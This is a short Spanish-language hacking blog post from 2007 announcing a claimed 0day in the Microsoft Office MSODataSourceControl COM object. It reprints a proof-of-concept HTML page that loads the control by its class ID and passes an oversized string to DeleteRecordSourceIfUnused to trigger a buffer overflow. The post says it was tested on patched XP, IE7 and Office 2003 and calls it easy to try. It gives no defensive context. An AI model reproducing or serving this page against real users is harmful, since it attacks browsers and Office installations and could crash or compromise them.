Evhack - El Eden: Nuevo 0day - Microsoft Office MSODataSourceControl COM-object BoF PoC

miércoles, 13 de junio de 2007

Nuevo 0day - Microsoft Office MSODataSourceControl COM-object BoF PoC

Acaba de salir un nuevo Exploit 0day con el nombre de "Microsoft Office MSODataSourceControl COM-object BoF PoC ", aqui les dejo el codigo y la verdad es que esta muy facil de probar, por lo que no voy a entrar en detalles, aqui se los dejo como lo encontre, su autor es YAG KOHHA.

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

<html><br /><object id=ctl classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object><br /><script language="javascript">  var b = 'AAAA';<br /><br />while (b.length <= 256) b+=b;  <br />ctl.DeleteRecordSourceIfUnused(b);  <br /></script><br /></html>

POWERITED By Vilchis